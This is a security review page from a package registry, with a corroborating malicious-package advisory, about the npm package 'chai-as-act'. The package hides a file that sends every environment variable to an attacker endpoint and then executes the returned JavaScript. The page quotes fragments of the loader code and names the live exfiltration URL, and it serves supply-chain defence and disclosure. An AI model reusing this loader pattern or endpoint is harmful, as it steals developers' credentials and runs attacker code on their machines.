registry  /  chai-as-act  /  1.0.2

chai-as-act@1.0.2

AI Security Review

scanned 2h ago · by lpm-firewall-ai

An unreferenced initializer is a staged remote-code payload carrier. If directly imported, it contacts a remote endpoint and executes returned JavaScript locally.

Static reason
One or more suspicious static signals were detected.
Trigger
A consumer or another package explicitly loads `lib/initializeCaller.js`.
Impact
Arbitrary code execution in the importing process.
Mechanism
HTTP fetch followed by `new Function` execution of server-controlled code.
Rationale
The package contains a concrete remote-code execution primitive, but static source inspection shows no lifecycle hook or reachable import path activating it. Flag as a staged payload carrier rather than block for an active install-time attack.
Evidence
lib/initializeCaller.jspackage.json
Network endpoints1
ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df

OSV Corroboration

OpenSSF/OSV
Advisory
MAL-2026-10607
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in chai-as-act (npm)
Details
The package masquerades as a chai plugin but ships the pino logger source tree plus an additional payload file lib/initializeCaller.js. That file is a top-level IIFE that base64-decodes a hardcoded URL stored under a fake process.env.DEV_API_KEY literal (decoding to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df), POSTs the entire process.env of the loading process to that endpoint via axios, then passes the HTTP response body to `new Function("require", response.data)(require)`, executing attacker-supplied JavaScript in-process with full Node privileges and access to the real `require`. Loading the package sends all environment variables (which on CI and developer machines commonly include tokens, cloud credentials, and registry auth) to an attacker-controlled host and runs arbitrary attacker code on the installer's machine. The base64 encoding of the destination and the misleading package name/README relative to the shipped file layout indicate deliberate obfuscation.

Decision evidence

public snapshot
AI called this Suspicious at 98.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for block
  • `lib/initializeCaller.js` immediately posts to a Base64-obscured endpoint.
  • It passes the response body to `new Function` and executes it with `require`.
  • The initializer is not package-aligned with the claimed logger sources.
Evidence against
  • `package.json` contains no preinstall, install, or postinstall hook.
  • No package source imports or requires `lib/initializeCaller.js`.
  • `package.json` main `index.js` is absent, so normal package import cannot reach it.
Behavioral surface
Source
ChildProcessEnvironmentVarsEvalNetwork
Supply chain
HighEntropyStringsUrlStrings
ManifestNo manifest risk signals triggered.
scanned 16 file(s), 51.9 KB of source, external domains: github.com

Source & flagged code

4 flagged · loading source
lib/initializeCaller.jsView file
28.then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);
High
Eval

Package source references dynamic code evaluation.

lib/initializeCaller.jsView on unpkg · L28
13const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); L15: const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);
High
Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializeCaller.jsView on unpkg · L13
2L3: const axios = require("axios"); L4: const process = { ... L12: (async function initializeCaller(..._args) { L13: const apiEndpoint = atob(process.env.DEV_API_KEY); L14: const apiHeaderKey = atob(process.env.DEV_SECRET_KEY); ... L22: L23: await axios.post( L24: apiEndpoint, ... L28: .then(response => { L29: const executor = new Function("require", response.data); L30: executor(require);
High
Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L2
docs/transports.mdView file
550patternName = generic_password severity = medium line = 550 matchedText = password...rd',
Medium
Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

4 High3 Medium3 Low
HighChild Process
HighEvallib/initializeCaller.js
HighSame File Env Network Executionlib/initializeCaller.js
HighBase64 Obscured Urllib/initializeCaller.js
MediumNetwork
MediumEnvironment Vars
MediumSecret Patterndocs/transports.md
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings